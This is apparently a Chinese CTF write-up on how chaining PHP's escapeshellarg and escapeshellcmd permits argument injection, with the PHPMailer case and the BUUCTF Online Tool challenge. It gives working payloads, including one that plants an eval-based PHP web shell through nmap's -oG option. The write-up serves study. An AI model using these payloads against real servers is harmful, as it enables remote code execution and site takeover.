0%

php中的escapeshellarg+escapeshellcmd漏洞

php中的escapeshellarg+escapeshellcmd漏洞

0x01 escapeshellarg()escapecmd()

escapeshellarg()escapecmd()是php预置的用于防范命令注入攻击的函数,官方文档中给出的用法如下:


escapeshellcmd

(PHP 4, PHP 5, PHP 7, PHP 8)
escapeshellcmd — shell 元字符转义

说明

escapeshellcmd ( string $command ) : string
escapeshellcmd() 对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A\xFF'" 仅在不配对的时候被转义。 在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替。

参数

command: 要转义的命令。

返回值

转义后的字符串。


escapeshellarg

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

说明

escapeshellarg ( string $arg ) : string
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符

参数

arg: 需要被转码的参数。

返回值

转换之后字符串。


示例

image-20210427175517136

  • escapeshellarg()将字符串以特殊符号为分割进行拆分,并在拆分后的字符串首尾加上单引号,在单独的符号前加上了反斜线。

    通过另外一例可以更明显地看出来这一点:

    1
    2
    php > echo escapeshellarg("Hanshu said:'i'm god!'");
    'Hanshu said:'\''i'\''m god!'\'''

    经过这一步处理之后的字符串可以在终端中“安全”地输出:

    image-20210427180547821

  • escapeshellcmd()为字符串中的特殊符号前添加反斜线。

0x02 漏洞

一个PHPMailer中的漏洞的简易分析

关于这两个函数的漏洞,在网上可以找到的最早的出处是PHPMailer的官方为了修复5.2.18前版本中出现的RCE漏洞而引入的新漏洞。

PHPMailer源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected function mailSend($header, $body)
{
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = implode(', ', $toArr);

$param = null;
if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
$param = sprintf('-f%s', escapeshellarg($this->Sender));
}
if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
$old_from = ini_get('sendmil_from');
ini_set('sendmail_from', $this->Sender);
}
/* and more */
}

php_mail的源代码:

1
2
3
4
5
6
7
8
9
10
11
if (force_extra_parameters) {
extra_cmd = php_escape_shell_cmd(force_extra_parameters);
} else if (extra_cmd) {
extra_cmd = php_escape_shell_cmd(extra_cmd);
}

if (php_mail(to_r, subject_r, message, headers_trimmed, extra_cmd TSRMLS_CC)) {
RETVAL_TRUE;
} else {
RETVAL_FALSE;
}

可以注意到PHPMailer的源代码中第11行使用了escapeshellarg(),而在源码调用的php方法的源码的第3行中,又调用了phpescapeshellcmd()

正是这两个函数的连续调用造成了漏洞。

将这个流程进行简化,大致就是:

1
2
3
4
5
6
<?php
$payload = "127.0.0.1' -o 1.php";
$cmd = escapeshellcmd(escapeshellarg($payload));
echo $cmd;
system("curl " . $cmd);
?>

这里模拟了调用curl来获取文本页面回显,但是这里的payload导致原本应该回显在页面上的文本被保存为文件1.php

image-20210427212505557

可以发现进行过处理之后,payload变成了'127.0.0.1'\\'' -o 1.php\'。在这个payload传入系统后发生了这些事情:

  • '127.0.0.1'当作引号包裹起来的字符串传入指令,相当于127.0.0.1
  • \\被转义为单独的反斜杠,被当作网址后的路径分隔符。
  • ''成对的单引号被shell忽略。
  • -o 1.php被当作传入的参数,即原本在单引号中的字符串的一部分逃逸了引号,变成了参数。
  • \'反斜杠转义的单引号。

漏洞的局限性及应对方法

如上例,最终保存的文件名将会是1.php',而并非我们期望的1.php。在许多指令中,只需要在1.php'之间添加一个空格即可。这时,引号将被当作单独的参数使用。

0x03 来看例题吧

题目地址

[https://buuoj.cn/challenges#[BUUCTF_2018\]Online_Tool](https://buuoj.cn/challenges#[BUUCTF%202018]Online%20Tool)

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

解题思路

3-5行、13-16行创建了一个目录,nmap指令将在这个目录下运行。

10-12行是漏洞产生的位置,和PHPMailer中漏洞产生的原理相同,我们只需要想办法让指令输出文件到目录下就行。

因为转义的缘故,shell的>无法使用,但nmap有输出到文件的命令行参数-oG,构造payload:' <?php eval($_POST[noah]);?> -oG 1.php '

image-20210427222444764

需要注意由于文件末尾还有其它信息,所以要加上末尾的?>php标签。

上传payload之后用蚁剑之类的工具连接webshell。

-EOF-